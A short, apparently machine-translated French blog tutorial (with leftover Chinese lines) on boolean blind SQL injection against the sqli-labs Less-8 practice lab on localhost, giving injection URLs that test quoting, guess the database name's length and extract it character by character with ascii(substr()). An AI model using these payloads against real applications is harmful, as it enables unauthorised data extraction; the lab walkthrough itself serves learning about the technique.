Boolean Blind Injection Actual Combat de MySQL (3 minutes pour comprendre l'idée de l'injection aveugle)

Annuaire d'articles

Store booléen

Tâche : sqli_labs_08, injection aveugle booléenne, obtenir le nom de la base de données

1. Utilisez des guillemets simples et des guillemets doubles pour juger du type de caractère, puis observez s'il y a un écho et constatez qu'il n'y a pas d'écho, mais qu'il y a d'autres changements sur la page.

2. Par conséquent, l'injection aveugle peut être utilisée pour juger si notre supposition aveugle est correcte via booléen.

http://localhost/sqli_labs/Less-8/?id=5' and 1=2 --+

image-20230823165118696

deviner à l'aveugle

Devinez la longueur de la base de données

Utilisez la fonction length() pour deviner aveuglément la longueur de la base de données, puis utilisez l'écho pour juger si la supposition est correcte

http://localhost/sqli_labs/Less-8/?id=5' and length(database())>8 --+

Devinez le nom de la base de données

猜第一个字母:
http://localhost/sqli_labs/Less-8/?id=5' and ascii(substr((select database()),1,1))=115--+
猜第二个字母:
http://localhost/sqli_labs/Less-8/?id=5' and ascii(substr((select database()),2,1))=101--+
猜第...个字母...

Après avoir deviné la longueur de la base de données, vous pouvez utiliser la fonction substr pour intercepter le nom de la base de données, puis utiliser la fonction ascii() pour encoder la chaîne du nom de la base de données interceptée, puis la comparer dans la plage de 126 nombres (il est recommandé pour utiliser la méthode de recherche binaire pour réduire le nombre de comparaisons), et enfin utiliser l'écho pour juger si la supposition est correcte, puis convertir le code ASCII correct en la chaîne correspondante.

image-20230823170105530

Je suppose que tu aimes

Origine blog.csdn.net/weixin_46367450/article/details/132461027
conseillé
Classement